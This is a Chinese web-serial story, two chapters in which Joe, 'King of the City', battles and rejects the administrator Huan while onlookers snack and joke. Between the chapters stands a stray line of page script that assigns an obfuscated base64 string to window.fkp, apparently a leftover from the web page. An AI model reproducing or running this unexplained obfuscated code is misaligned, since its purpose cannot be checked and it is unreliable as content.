c摆出了战斗架势。这时候,身马塔库库有些慌了。马塔库库在战斗中受了很多伤,她身上的合金铠甲也出现了致命破绽,而且刚刚的那一刀几乎耗尽了她所有的力气。她的状态很不好,在接下来的战斗中必然是要占下风的。她想要放弃,但心里还有一丝不甘心。最后她还是选择与c战斗,她要为了自己的自由而战斗。 不过筋疲力尽的她是无法战胜身怀奇点造物且身手不凡的c的,接下来的战斗她自然是被c一顿暴打,她几乎见不到任何胜利希望。有几次,她差点就被c抓到致命破绽而倒下了。她猛烈还击,可无济于事。 最后,她被c打倒。她扶着村雨还想站起来继续战斗,可她已经没有力气了。她现在明白心有余力而力不足的滋味是怎样的了。c缓步上前,准备为马塔库库戴上桎梏。可就在这时,一个飞快身影出现,一掌将c击退出去七八米。 等那身影静止下来马塔库库才看清,那身影是她们公司中央管理部的部长乔。乔的出现令马塔库库很是惊讶,她没想到乔能出现在这里。 马塔库库激动地说: “乔!你怎么来了?” 这时,科技部部长上官跑了过来。上官喘着粗气,手里端着一把冲锋枪,身上穿着防弹衣,一副有些莫名滑稽的样子。来到现场的第一件事,上官抬起枪口,对准了入侵者c。一旁的马塔库库见一向胆小的上官也来了,高兴地笑了。 马塔库库十分激动地说: “上官,你也来了!太好了!” 上官心中非常紧张又有些害怕,他知道c这样的入侵者非常棘手。但在马塔库库面前他没有表现出紧张,这是他身为男人的倔强。他一脸平淡地安慰马塔库库: “不用吧,马塔库库。没什么大不了的,再强也是几颗子弹的事。” 马塔库库听他这么说,真诚地夸赞他道: “哇!上官,你好勇敢哦。” 上官平淡一笑,但心里还是很慌的。 这时,c突然抬头看了看天,仿佛是知道了什么,突然做出标准的卫兵站姿,将头微微低下,似乎是在迎接什么尊贵的存在。乔一眼就认出了c的身份,也知道c做出这样的姿势意味着什么。考虑到身旁两人的安全,乔不敢逃避接下来发生的事情。乔默默激活了核心,随时准备应战。 乔: “马塔库库,上官,这件事跟你们两个没关系,你们两个赶紧返回公司!” 马塔库库: “怎么了?乔。” 乔: “别多问,赶紧走!” 没等马塔库库她们动身,一道金光乍现,瞬间晃住了乔等人的视线。金光散去,管理员寰华丽登场。 c: “恭迎管理员大人。属下的任务已经完成。” 寰: “很好,接下来你就负责看着就行了。” 见到管理员寰的瞬间,上官吓得魂差点飞了出去,马塔库库则是惊讶之中带有一丝好奇。上官急忙把马塔库库从地上拉起,拉着马塔库库的手就准备逃跑。上官没走出五步,马塔库库就拽住了他。 上官见马塔库库这样,很着急地说: “马塔库库,赶紧跑吧。管理员来了!” 马塔库库摇摇头,小声告诉他: “我们先看看情况。” “看什么情况?!一会我们两个可能都没命了。” “没事,要死的话还有我陪着你呢。共赴黄泉也挺不错的。你不会害怕了吧?你不会把人家抛弃自己逃跑吧。” “不会不会。那......留这儿看一会也行。” 见到寰的瞬间,乔眉头紧锁,一脸不乐意的样子。乔看寰的眼神之中藏着几分嫌弃,他貌似非常不想见到面前这个女人。而寰看乔的样子则不一样了。寰眉开眼笑,一脸欣喜若狂的样子,仿佛是见到了什么重要的人一样。寰看乔的眼神之中带着几分俏皮,还有几分得意,似乎在说:“我找到你了,你逃不掉”。 寰: “乔,好久不见呀。” 乔: “你这女人,真是阴魂不散啊。” 寰: “你的躲藏技术可以申请奖项了。就连你亲爱的妹妹都不知道你的下落,真是可惜你们这宝贵的兄妹情了呢。若不是殇,我还找不到你呢。” 乔: “殇?你对他做了什么?” 寰: “别误会哦。我只是常常雇都市之眼盯着殇,恰巧见到他进入到这家Z公司,又恰巧都市之眼拍摄到了你与殇的会面。” 乔: “你这女人心机可真多。” 寰: “回想一下,我们已经有多久没见过面了?我们已经有多久没说过话了?自从你在我的监视之下逃走,我可在有数不清的日月里见不到你这张死板的脸了呢。你还是一如既往的严肃,从不爱欢笑。” 乔: “为何而来?” 寰: “为何?这答案你不该很清楚吗?你曾在那场战斗前与我定下协议,可在战斗你却试图反悔,真非大丈夫所为!啧啧啧......” 寰轻轻摇了摇头,颇具讽刺意味。乔的眼神刹那轻移,一瞬的心虚,不善言表的内心。 乔: “你有所误解。我并非不履行协议,只是现在有事在身。” 寰: “事务吗?那为何不先告知我一声,而是悄咪咪地离开呢?” 乔: “此事与你无关,你不能插手。” 寰: “我身为管理员,什么事是我不能插手的。” 乔: “吾事归吾,汝非吾,无权之。” 寰: “你还是那样高傲呢。” 乔: “你若想让我回去那样的牢狱,我宁可烂在下水道里。” 寰: “你这样形容太伤人心了,真是不礼貌。” 乔: “我拒绝。” 寰: “为什么?” 乔: “无可奉告。” 寰: “呵呵呵......无可奉告?真是个不错的回答。” 寰的身上泛起了金色的雷电,刷的一下,她身上的衣物发生变换,由工作装变成战斗装。灿烂的微笑难掩她身上浓烈的战意。那股战意就似她身上的名牌香水一样,浓香弥漫在周遭空气当中,吸上一口都会让人感到几分热血。她身上显现如神明一般的威压,压迫感十足。 乔: “你竟然梳长发!” 寰: “我特意留的。怎么样?好看吗?” 乔: “一般。” 寰: “啧......真没品味。” 乔: “又要战斗吗?” 寰: “乔,你还记不记得我们上一次打架是什么时候?” 乔: “总之是我不想记住的日子,就像我曾讨厌的周三。” 寰: “呵呵......有意思的回答。” 乔: “战斗解决不了问题,寰。” 寰: “但战斗的确让我得到了我想要的东西。” 乔: “这样不会有好结局的。” 寰: “不必担心,我会用我的方式向你证明一切。” 乔: “你这女人固执的就跟块石头一样。” 寰: “那我也是块闪烁着光的宝石。” 乔: “多说无益,速速来战。” 乔将身上披着的大衣一把扔到空中,正好落在了马塔库库的肩上。乔解开自己身上的武装封印,他体内沉睡的力量在此刻被唤醒。曾作为管路员最佳候选人的他,拥有匹敌所有管理员的力量。时至今日,他的那份力量仍未退步半点。时隔许久,他再次重拾那份匹敌雅巴达之剑的力量。王者无终老,力量则不朽。 一把象征绝对力量金刃黑剑握在手,一身只属于都市巅峰的战甲穿在身,脚踏这片纷争不断、又希望与绝望共生的土地,他再次展现出当年的王者风范。一对只属于王者的坚毅眼眸,金色的星光在当中闪耀。战意似熊熊烈火一样燃烧在他的内心,一腔热血随着心火攀上他的脊梁。 寰: “再次看到你这样真好。熟悉的感觉,熟悉的彼此,熟悉的心率。” 乔: “让我们结束这场闹剧吧。” 乔手握黑剑,寰手握军刀,两人看着彼此,审视着对方此刻的姿态。战前安静片刻,然后两人默契地一同出手,随即大战一触即发。 马塔库库、上官和c在一旁静静观战。上官为了看大战看得舒服些,还特意找c帮忙,让c利用瞬移从Z公司里那点零食出来。c一开始是不同意的,直到上官提出Z公司有巧克力甜甜圈和咖啡。按照上官的要求,c拿来了一大兜子的零食。接下来的时间里,三人就坐在一个安定点处,边吃零食边观战。 黑剑连挥,光刃连斩,场面那叫一个眼花缭乱。金黑双色剑气在战场中如林中群鸟般乱飞,金色切线肆意切割着战场中的一切事物,无数碎石随着两人猛烈的进攻而到处乱飞。某一刹那,黑剑划出金黑双色剑光,连续猛击寰的力场护盾。乔和寰的身影在眼花缭乱的攻击当中清晰了刹那,随即两人放出令人眼花缭乱的招数又使得两人的身影模糊起来。 金色天火如雨点一般从天空中落下,天火击地瞬间如火山爆发般向上喷涌出通天的火柱,一时间在战场中形成了短暂存在的一片火焰森林,这是乔使出的绝技天火打击。突然,几道巨大的剑气如势不可挡的海啸一般洗礼过半边战场,以浩荡之势粉碎了它们所接触的一切。这是寰的绝技碎星斩击,看来寰也毫不示弱啊。 两人在战场中施展着各自的绝技,一旁观战的三人有说有笑地观战。这时候,场外的三人甚是悠闲,满是与世无争的样子。上官偷偷在马塔库库头顶上放了个甜甜圈,c见了也跟着去放了一个。马塔库库定力较高,那两个甜甜圈在她头顶上很稳当,一点也没有要掉的样子。马塔库库低头拿饮料,有一个甜甜圈掉了下来,被c用手接住了,然后c就拿去吃了。马塔库库见了,一下子就猜出是上官干的。马塔库库打了下上官的肩,有些生气地说: “上官,你又来!” 这时马塔库库丝毫不知,c又往她头上放了个甜甜圈。上官看到了,两人用眼神交流一番,上官没把c这事说出来。 说回战场这边。乔和寰正面交锋,黑剑对星空军刀,两人的较量是不分伯仲。剑锋与刀锋相撞,两人抵着手中的武器角力。看着眼前有些力不从心的乔,寰露出了得意的笑容。 寰微笑着嘲讽道: “你是赢不了我的,乔。上次一样,这次也一样。” 乔瞪了寰一眼,没说话。 角力之后,两人继续施展各自的招数。寰使用空间切割,乔用黑剑招架,又用能量护盾防御,寰的一招一式乔可谓是非常清楚。之前与寰的交战之中,乔悄悄记下了寰所有的招式,还通过战斗研究知道了寰的弱点。对付寰,他比任何人都有经验。乔使用光刃斩击,召唤幻影剑协同进攻,寰用空间切割招架,又用力场护盾防御。乔的一招一式寰也清楚,她们彼此都是最了解对方招式的,也都知道对方的弱点是哪里,因而两人的战斗更像是师兄师妹之间的切磋。 两人较量了一段时间后,乔一个大意露出破绽,不巧被寰给抓到。寰连续用出七次空间切割,化解乔的攻击;又接二连空间斩切,打断乔的进击斩的同时将乔逼退;最后上前再连斩三刀,两刀破乔的防御,最后一刀直接击倒乔。乔倒地了,寰抓准时机对倒地的乔连续使用十三次空间切割,直接将乔从地面上切了起来,就像切水果的忍者一样。 斩切过后,乔狼狈落地。 在一旁围观的三人见这状况,不免有些惊讶。对于围观的三人来说,乔打不过寰是很正常的事情,但乔已经使用那样炫酷的招数,还被寰这样轻松打败属实有些说不过去。这三人当中,最清楚乔战斗力的是c。熟悉他的c见到乔这番狼狈的落败,自然能明白乔的用意。 上官: “真可惜呀,我们公司最强战力乔竟然输了。管理员还是强大的呀......” 马塔库库: “没关系的,乔尽力了。而且能与管理员大战这么多回合,某种意义上来说也是一种胜利。总之,乔是最棒的!” c: “不。好戏还在后头。” 上官: “此话怎讲?” c: “你们看就完了。” 马塔库库头上顶着的甜甜圈只有一个了,原本是两个,少的那一个跑到了上官头上,不知是谁放上去的。值得注意的是,上官头上的那个甜甜圈是草莓味的,还被人咬了一口。 说回寰这边。寰见乔这番狼狈,抿嘴露出一抹得意洋洋的笑容,她知道她赢得了这场战斗。这次就像上次一样轻松,她赢得很顺利,顺利到有些奇怪。乔落地后不一会慢慢爬了起来,寰见了露出一抹坏意满满的笑容,一个空间切割又让他趴倒在地面上。这是在羞辱乔,也是在调戏乔。 乔再起,寰再用空间切割,乔又趴地了;乔又起,寰故技重施,乔再趴地。乔又连续尝试两次,都让寰弄得起不了身。于是他干脆就直接趴着不动了,寰见他这样,知道他此刻服了自己,也便不再调戏他。对于乔来说,这样被调戏是莫大的耻辱,但他此刻又无可奈何于种种原因。他在都市里的名号可是“都市之王”,这样被调戏岂不是辱了他的名号? 寰背过身去,面对蓝天她露出一抹淡淡的微笑,说: “在这弱肉强食的世界中,没有实力的人只能被别人支配。强者往往具备了选择权与决定权,弱者往往只能落得被别人吞噬或利用的下场。实力强大才能自由又不失尊严地活着,力量才是决定命运的关键。” 乔冷笑一声,说: “又是那套强者理论吗?呵呵......不愧是你。” 寰轻轻用手撩了下自己的头发,又将双手搭在小臂上,精致的战斗服没有被她的手压出一点褶皱。她摆出平时面对都市众生的傲姿,似乎是在用这种方式告诉乔什么。寰用温柔又带着一丝狂妄的口吻说: “乔,身为都市之王,这样落败的滋味不好受吧。你应该明白一个道理,乔。我们该为了当下能留住的一切而奉献我们的力量,而不是一意孤行去为了某个自私的目的,而牺牲了我们拥有的一切。这就像你去赌钱,那肯定最后会错过很多,甚至落得个一无所有的下场。所以你不该那么做!” 乔双手拄着地面,询问道: “你是在命令我吗?” 寰笑了一声,肯定地说: “对,你能领会我很高兴。但又能怎样?弱者要学会服从强者,不然弱者无法在强者林立的世界里生存。你也一样,乔。” 乔冷笑了两声,反讽道: “你这何尝不是一种自私呢?” 寰自信地一笑,说: “可我却不是在赌,而是在创造。” “所谓创造就是要强迫他人吗?” “强迫?这是手段的一种。只要能达到我想要的结果,手段是无所谓好坏的。” “谬论!” “哼......那我问你,我们在他人的土地上建设城市时,我们考虑到那么多了吗?当铁墙计划实施的时候,有谁考虑到那些因此失去土地的人的感受了?当无人区被确立的时候,那里面的人都被抛弃了,可谁考虑过他们?好好想想吧,这些决定无一例外都没选择最佳道路,但后来策划者们的确受到了赞颂。” “那你对于这样重要的事也要如此吗?” 寰沉默了片刻,而后缓缓说道: “是如此又如何呢?” 乔没说话,寰继续说道: “你难道就没感受到吗?那种美好的感觉,无法用诗歌来描述,只能用心来感受。如太阳的光,如浪漫的史诗,如每一寸我们感受到的光阴。” 乔依然没说话。寰冷笑了一声,嘲讽道: “冷血的男人。” 乔缓缓起身,他刻意没有立即挺直腰板,似乎有什么用意。乔叹了口气,似乎是要服从于寰。乔委婉地说: “也许我看错你了。” 寰一听,猛地转身。寰的喜悦之情溢于言表,她的眼中有光,喜悦凝结成的星光,她感到前所未有的高兴。她眉头松弛,瞪大双眼,露出灿烂甜美的笑容,她先前的高傲此刻荡然无存。寰高兴地说: “所以说你终于明白啦?” 寰小碎步跑到乔身旁,用手拍了拍乔身上的尘土。边拍她边高兴地说: “哦!谢天谢地,你终于明了,乔。我是真心爱你的。” 给乔拍完灰尘,乔挺直了腰板。寰笑着对乔伸出激动的手。乔看了看寰的手,又看了看寰的表情。寰呲牙一笑,冲他点了点头,眼里是藏不住的喜悦,心里是藏不住的激动。乔会心一笑,一把握住了寰的手。乔笑着对寰说: “我错了,寰。你其实一点也不自私。” 寰给予乔一个笑容,甜甜的,又带着些温暖。乔继续说: “其实......我有一句真心话想对你说。” 乔刻意用力握了下寰的手,寰秒懂,寰对乔笑着挑了下眉,回应他的暗号。两人都笑着面对彼此,然后开始慢慢靠近彼此,接着都给予对方一个深情的拥抱。两人的手是紧握着的,还未松开。 在一旁默默观看的三人见这景象,其中两人不免有些激动,而剩下那人则十分平静。马塔库库和上官此刻才恍然大悟,原来今日管理员到访不是为别的,而是单纯为了乔而来。是何种存在能让管理员不计麻烦委身前来?马塔库库敏锐地察觉到了cp的气息,一种莫名的激动与喜悦漫上她的心头。她的这份喜悦溢于言表,她似乎比当事人都要高兴。 马塔库库: “原来是这样吗?乔!你太厉害了啦!” 上官: “嘘,看破不说数破。” 马塔库库难掩心中的情绪。 马塔库库: “在一起!在一起!” c转过头来,刷的一下亮出了他的电磁护手。马塔库库见了,立马住嘴。 c: “憋着点话,别什么话都说。你这话要是让她听到了,你保准会变成馄饨馅。” 马塔库库: “好的,好的......” c: “安静的去看,别说废话。” 上官: “真是想不到,乔竟然有这么大的魅力!” 这时候,马塔库库低头去拿零食,突然她头上顶着的甜甜圈掉了下来。马塔库库一看,转头用鄙夷的眼神看着上官。上官见甜甜圈落地,又见马塔库库杀意满满的眼神。上官尴尬地一笑,拿起那个甜甜圈,轻轻咬了一口,又放回了马塔库库头顶。马塔库库对上官翻了翻白眼,又优雅地猛击上官肩膀一巴掌。 马塔库库: “烦内!上官。” 这一巴掌将上官头顶的甜甜圈拍了下来。马塔库库和上官一同看向了那个甜甜圈,场面一度尴尬起来。上官用同样鄙夷的眼神去看马塔库库,马塔库库露出坏意满满的笑容,然后拿起那个甜甜圈,又放回了上官头上。 上官: “你还说我呢,你不也那么办了吧。” 马塔库库: “嘿嘿......被发现了。” 说回寰这边。在寰抱紧乔的那一刻,寰感受到前所未有的幸福与满足,她激动得甚至眼角都泛起了点点泪花。这也许就是苦苦追寻许久后成功得到的那种喜悦与幸福感。 寰激动的心中暗暗想道: “太好了,终于把他找回来了。我终于可以去追乔乔了!他抱住我是不是要对我敞开心扉?” 寰突然感到莫名的紧张,她既非常期待又十分害怕,心动的感觉令她不安。她的心中有种强烈的感觉,那感觉是无与伦比的美好,如春雨滋润大地、如烈阳照耀林海。她心里暗暗想道: “是不是......他也对我有感觉?他想对我表白!哦,我的天哪!那将是无与伦比的美妙体验!我可以得到我苦苦寻找的所谓幸福了。我计划很周全,一点差错也不会有。很快,我就是乔乔人生中的另一半了。诶呦!想想就激动啊!” 寰的另一只手默默地轻拍乔的后背。她闭上眼感受这份拥抱的温暖,那如寒夜之火的温暖。她心中为两人的和解窃喜着,无数美好的幻想浮现在她的脑中,但她不满足于这些片面的幻想。她大胆畅想两人未来的种种可能,幻想着两人各式各样的未来,幻想着她追求的纯洁美好的爱情。她所迷恋着的乔啊,现在就紧紧地拉着她的手,被她所掌握。 寰默默享受着这份幸福,谁也不告诉,就藏在心里暗暗品味,一遍又一遍。 至此,两人和解。真是个欢天喜地的结局。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第九话:都市之王(下) 寰眼中一片黑暗,她正在黑暗中描绘着梦幻的未来。这时,她的耳旁慢慢响起了乔深情而又有力的话语。 “我其实一直都不喜欢你!” 寰猛地睁开眼睛,她呆呆地看着面前的乔,看着乔那张满是嫌弃的脸。那一瞬间她直接愣住了。 那一刻犹如晴天霹雳,一切美好的幻想都烟消云散;又仿佛在她心头浇了盆冷水,熄灭她心中的燃烧的火焰。刚刚还心花怒放的她瞬间被悲伤所充满,她的心上下了一场凛冽的暴风雪。她不敢相信乔竟会这样对待自己。彷徨、背叛、悲痛、空虚,这些要素充斥她的内心,将原本的喜悦与幸福撕裂。她的心被乔的无情所深深刺痛,那一刻她感受到前所未有的悲伤。她还为来得及表现出这份悲痛,乔就利用两人紧握着的手对她使用了背摔,将她狠狠地摔了出去。 寰在地上滚了两圈,她的心在这两圈中凝结上冰霜。她停下后拄着地面环顾周围,看了一圈没见到乔的身影。她往胯下一瞧,以一个奇怪的视角看到了乔。世界倒转过来,乔颤颤巍巍地站在原地,一脸不乐意的样子。寰气愤地锤了下地面,飞速起身转过身去看着乔。她先前的温柔荡然无存,她只剩下悲愤与失落。 寰怒目圆瞪,气得咬牙切齿,之前的淑女形象瞬间消失。乔挺直腰板,一脸无所谓的样子,他似乎受够寰了。见乔这个表情,寰更加生气了。 寰大声喊道: “乔!你就算是把世界上所有的女人找来,都没有一个像我这样愿为你真情付出的女人。” 乔指着寰,说: “你太幼稚了,寰。感情是双向奔赴的,只是你痴情是没有用的!” 寰鼓起勇气,勇敢坦白道: “可是人家就是喜欢你!喜欢到你令我抓狂,而我愿为你疯狂的程度!我们总会在梦里相见,而我期盼梦境缥缈,而你如真。你是我的星辰,你照亮我每个迷茫的夜晚。” 乔反驳道: “只是一厢情愿不可成就佳话。言语再美,付出再多,爱得再身,只是自娱自乐。可悲,那都是无意义的!” 寰极力辩解道: “你不懂!乔。你只是固执的相信你自己认为的事情,极端的自我主义者。你从不考虑其他人的感受,你只是孤独地走着你的独木桥,一点也不会去爱别人,因此你得不到别人的爱!你从不尝试去接纳别人的好意,因为在你眼里那些都是谋取利益的手段。你只肯相信自己,奉行着那套黑暗森林法则,却忽视了我们都是有感情的人类、忽视了我们所独有的爱!” 寰神色坚定,情绪激动,言语中饱含真情实意。乔没说话,静静地听着。寰继续辩解道: “乔,你真的就不明白吗?哪有人生下来就会喜欢彼此?都不是在一点点的改变中才收获爱情的吗。关键在让步啊!我可以去适应、去接纳你的一切,不会让你在这段关系中违心。那你可不可以做到这样呢?若接受不了彼此的性格,我们都可以做出让步,去磨合、适应对方的一切,而非将对方改造成我们想要的样子。” 乔不自觉地摸了摸下巴,他的表情中多了几分肆意,少了几分不乐意。乔很平淡地说: “寰......你说的是有理有据,你在打动人这一方面并不比别人差。但你说了那么多不还是为了自己吗?你从未考虑过我的感受,因此你从不理解我的想法。我已经说了,郑重地说了,我其实一直都不喜欢你。” 寰抬起手,握紧拳头,用动作表示自己的决心。寰坚定地说: “那又怎样?!我会用我的方式让你喜欢上我的,我身上的闪光点犹如群星。” 乔摇摇头,说: “可我喜欢不会发光的星星。” 寰心有不甘地问: “你就这么讨厌我吗?” 乔会心一笑,很幽默地说: “说不上讨厌,只能说非常厌烦。” 寰有理有据地说: “我身上难道没有能吸引到你的地方吗?我有地位、我有力量、我有财富与企业、我有数不尽的手下,我动动手指就能让一座城市变成废墟。我是所有人眼中求之不得的女人,我的资质与魅力足以令万千男性臣服。这样的我,你难道就真的看不上吗?” 乔平淡地摇了摇头,他丝毫没有为寰说的话动容。乔很正经地告诉寰: “这些都不是我需要的。你即使都给了我,我也不会选择你。” 寰很不解地问: “乔乔,你为何这样排挤我?!我真的很伤心。” 乔笑了笑,说: “为什么?哈哈,我不知道,也许是命中注定的否定吧。” 乔的话语中带着些许俏皮,又带着些许委婉,但总结下来就是冷漠,他仿佛不在乎寰的感受。这种冷漠令寰心寒,寰的心里像是冻结上了一层霜。寰用难过与急切的口吻问乔: “乔!告诉我,你为何讨厌我?” 乔平淡一下,坦白道: “因为我是个绝不会陷入爱河的人。因为与你说话令我觉得不舒服。因为你办事的手段让我鄙夷与唾弃。因为你使用的打印机是潘马斯公司的第三代江陵二号EU-088型Ao-2式多功能激光打印机!我不喜欢这家公司的东西。” 寰将手一挥一撒,她被逼得失了态,连肢体语言都用出了。寰仍极力辩解道: “胡说!那台打印机我早就换了。” 乔想不出刁难寰的合理的理由,于是很无厘头地说: “还因为你习惯进门先迈右脚!” 寰急得身体发颤,她快控制不住她的情绪了。她仍极力辩解道: “乱说!我迈的是左脚!而且,我迈哪只脚进门跟你喜不喜欢我有什么关系?” 乔语气强硬地说: “我不喜欢我不喜欢的东西。” 寰深吸了两口气,缓和下自己失控的情绪。等情绪稍稍稳定下来,寰深情地询问乔: “那你喜欢我吗?” 乔果断地说: “不喜欢。一直以来都是如此。” 寰摆出苦恼的样子,又闭上眼睛陷入凝思。寰的表情很痛苦又很苦恼,她的悲伤与愤怒之情溢于言表,她的心里下了一场大雪,雪中是无数烈火的爆燃,还有呼啸的飓风与漫天的阴云。黑色的幻影泛起在她的身旁,核心暴走的预兆警示着乔。乔此刻无所畏惧,他站在原地严阵以待。 寰痛苦了一阵子。不一会,她脸上痛苦的表情突然消失了,那抹令人不安的微笑又再次挂在她的脸上。转悲为喜是最令乔想不到的,但更令乔想不到的是,寰竟然恢复到战斗之前的样子,又带上那份相见时的喜悦。 寰笑着说: “啊......真令人不快。” 寰拿起武器,再次激活核心,重新进入战斗状态。寰露出一抹阴森的笑容,她的眼神中再次泛起敌意的涡旋。寰既霸气又强硬地说: “胜者才有决定一切的权利。” 乔一脸不屑的样子,他对此早已习惯。乔调侃道: “又要战斗吗?哼......真不愧是你。” 乔摆了摆手指,转了转脑袋,他身上散发出浓烈的杀气。乔冷冷地说: “不过你可别以为这次你还能赢。” 寰用军刀指着乔,笑着问道: “嗯?两回的失败令你发昏了吗?” 乔拿起黑剑,黑剑的剑锋直对寰。乔霸气地说: “用剑说话,用实际来论证真理!” 寰笑了笑,说: “正合我意。” 黑剑的剑刃开裂,金色篱状线条从护手中心向剑刃蔓延、拓展,如树根一样散乱排布在剑刃上。外层金雷内层黑火的凋亡魂火在黑剑上燃烧,都市的影子映照在这魂火之中。金色碧波洗刷黑色的土地,无数光点在黑土之上凝聚成河流,灌溉这片贫瘠已久的土地。黑色战甲华丽变样,神魔风格与科技风格的融合,帅气之中透露着奢华。乔戴上造型帅气的头罩,古龙风格搭配成熟风黑金色调,如战王的王冠一般奢华霸气。乔解开自我的封印,他决定不再低调。 此刻,站在寰面前的,是曾经打败雅巴达之剑的都市之王,【黑剑】乔·凯。周围的空气变得冰冷起来,死亡气息弥漫在其中。天上出现本该属于夜晚的星河,璀璨又耀眼的星光照耀这片战场。 乔二话不说,上来连放三套幻影剑法,连续放出三十多道灌雷剑气,顿时间让场内外都沸腾了起来。这些剑气如草原上奔腾的野马,成群结队的飞过战场,声势浩大到让人无法形容!剑气所经之处都是毁坏与疮痍。乔这次是丝毫没有放水,他以自己最真实的实力与寰进行战斗。乔的每一击都附带了致命的凋亡魂火,每次出剑都会点燃大片地面,他所经之处尽是火焰的狂欢,都是战场! 与全力以赴的乔战斗,寰虽说是能无拘无束地出招,但心中对乔的真情还是让她难免偷偷放一些水。寰在战斗中感到热血沸腾,似体内有烈焰在燃烧,烈火渴求着毁灭与爆发。战意与爱意凝聚在在她的刀锋之中,她要用自己的方式征服乔,第一步先从战斗方面开始。寰打得很爽,因为无拘无束,因为坦诚相待。 打了一会,乔使出黑剑滞空回旋连斩,斩出扇形飞散的剑气,顷刻间轰碎了无数废墟,战场四处都是爆炸遗留的大坑。无数切线乍现在战场之中,一片金色的森林诞生。一瞬的存在,一瞬的毁灭,空间被斩切成数块,大范围空间切割毁灭着它们所接触的一切,这就是寰的心火!寰操纵幻影军械与黑剑猛烈对轰,激光弹与剑气激烈对撞,引发一场场剧烈爆炸,迸发出一道道耀眼星光。令寰想不到的是,黑剑的剑气斩竟能同时压制四把幻影军械的射击,这可谓是奇迹无疑。 又打了一会,乔高举黑剑,一个高跳跃起,遂后悬浮在空中。魂火凝聚在黑剑之上,塑造出一把毁灭之枪。乔高举这把毁灭之枪,对准它的敌人,接着用力将其扔出。毁灭之枪如风暴般袭来,一面金色的盾牌迎着它升起。矛与盾激烈碰撞,迸发出毁天灭地的光波。光波撼碎大地,掀起推倒大树的飓风,顷刻间战场周围的建筑物全部倒塌,大地为之连颤三下。数十道奔雷瞬发而出,只是刹那就将战场覆盖,其效果堪比暴雨中的天雷。奔雷很快散去,战场中魂火四起,遍地都是碎石与裂痕,仿佛一颗陨石砸在了这里。 这一击之后,金色的盾牌也随之崩解。寰的额头流出了许多豆大的汗水,乔的额头上也流出了几滴豆大的汗水。寰喘了几口粗气,随后露出十分满意的笑容。乔见她这样,仍绷着脸。 寰: “啊哈哈哈!这是我生命中最棒的一场战斗。” 无数锁链从星河中坠下,连接大地与星河,在战场中形成错综复杂的锁链阵。寰的身影消失在战场之中。片刻之后,乔头上降下尖头锁链,身旁出现许多剑气,无数空间切线正向他移动过来。乔不急不慢地使用出了黑剑剑舞,顿时化身一道金雷在战场内来回贯穿。 在某一刹那,乔与寰正好撞了个满怀,两人随即开始近身对砍。寰对砍不及乔,赶忙瞬移与乔拉开距离,接着放出绝技裁决,九道尖头锁链以环形阵列从天空中飞速下坠,直直地刺向了乔。乔一跃而起躲开攻击,接着在空中放出星神进击斩,嗖的一下飞速下落猛击地面,顿时击碎很大面积内的锁链,还放出八十多道回旋地火。寰趁机释放出五次宇宙震击,乔使用绝技星陨剑法,化身烟火蹿到空中躲开寰的震击,接着化身流星猛地砸入战场,释放出小范围爆炸加震荡光波。 又打了一会,寰深感疲累,她使用空间切割的频率是原来的60%,而且她的出招也从主攻次防变成了攻防平等。而乔这边还干劲十足着呢,乔的攻击一直是那么迅猛,丝毫没有疲累之意。寰终于明白为何乔要叫做都市之王了,在持久力和能力储备这两方面她已经输了,她目测乔的战斗续航能力是她至少1.5倍。 寰再次释放大范围空间切割,又接三连巨型剑气斩,然后斩碎大范围空间塑造水晶花簇。前两招乔轻松出招应对,接下来只剩寰的这一招。流星雨划过战场,星云陨落天间,切线躁动在天空酷似电路板,随后星河陨落砸向人间。这一招她对法戈·明曾使用过。陨落之星轰击地面,唤星者呼唤星辰,黑色星云薄雾弥漫在战场上,金色切线穿越破碎空间,在战场上空凝聚成一颗巨大的恒星。这是她的必杀技宇宙之光,是她曾对法戈·明使用过的收尾杀招。 寰深情地说: “请见证这含蓄多年的绽放!” 恒星剧烈膨胀,随即爆发出致命氦闪。一瞬间地动山摇,火焰飓风呼啸,战场彻底沦为废土,巨大范围的冲击比致使战场周围的废墟全都碎成了渣,一道耀眼的光亮彻废墟。氦闪过后,黑洞悬在战场上空,寰做出拔刀斩预备姿势,准备切碎黑洞,完成这一招的收尾。可就在她准备出刀的那一刹那,一颗流星从战场上升起,直至黑洞上方停下。寰定睛一看,那是手提黑剑的乔。那一刻,寰被乔给帅到了,她不免对乔多了几分敬佩之情。 乔冷冷地说: “凋亡吧!寂灭·世界斩!” 一道金色闪光贯穿黑洞,乔化身流星坠落战场。他身后地面上燃起了猛烈的魂火,黑洞的生命在魂火中凋亡。一道闪光亮彻世界,一声爆炸响彻废墟。巨大的魂火在战场上喷涌,似腾龙一般升起,直通云霄击破苍穹。天空变得金黄,灿烂的光辉照进废墟的每个角落,驱散废墟中的寒冷与黑暗。废墟外的世界中亮起一道耀眼的光,整个国家的人都见到了这束耀眼的光。 这一招之后,乔与寰在满目疮痍的战场上近战对砍。体力不支的寰难以招架乔的进攻,很快就败下阵来。乔一把扯下寰脸上的面具,寰被这一行为激怒,但心有余力而力不足,她只得无能狂怒。乔又用几剑将寰击倒在地,寰不甘心地起身,她不顾身上的疲累与乔继续战斗。乔使出一记骗刀术,骗寰提前出刀后一记冲拳将寰彻底击倒在地。寰仍不服,倒地后支撑身体保持跪坐的姿势,还试着还击,乔轻轻动了动手招架下寰的攻击,同时缓步走向寰。 乔凑近寰,使用一记侮辱性极强的扇耳光,一下将寰扇趴在地面上。至此,这场荒唐的战斗宣告结束。 黑剑上的裂痕消失,战甲上的条纹消失,乔摘下头罩,露出原本的脸。寰跪坐在地面,弯着腰双手拄地,低着头一脸不高兴的样子。典型的失败者姿势,寰正感受着失败的苦涩。当视线里出现乔的皮鞋,寰微微抬起头,十分不甘地坦白道: “你赢了,乔。” 乔一脸无所谓的样子,他早已预见一切。乔盯着寰看了一会,他正欣赏着管理员失败的样子。乔摸了摸下巴,然后故作得意地说: “我夺回我失去的胜利了。现在,我们彻底扯平了。” 寰抬起头看着乔,她眼中还有朦胧的战意,不过她眼神的不甘与难过告诉乔她不会再战斗了,起码目前不会。寰露出一抹阴森的微笑,说: “可别觉得我会像个失败者一样退场。这只是我们之间的第二次博弈,万千场博弈中的一场。” 乔捂着脸摇了摇头,一脸无奈的样子。乔说: “你可真是个烦人的女人。” 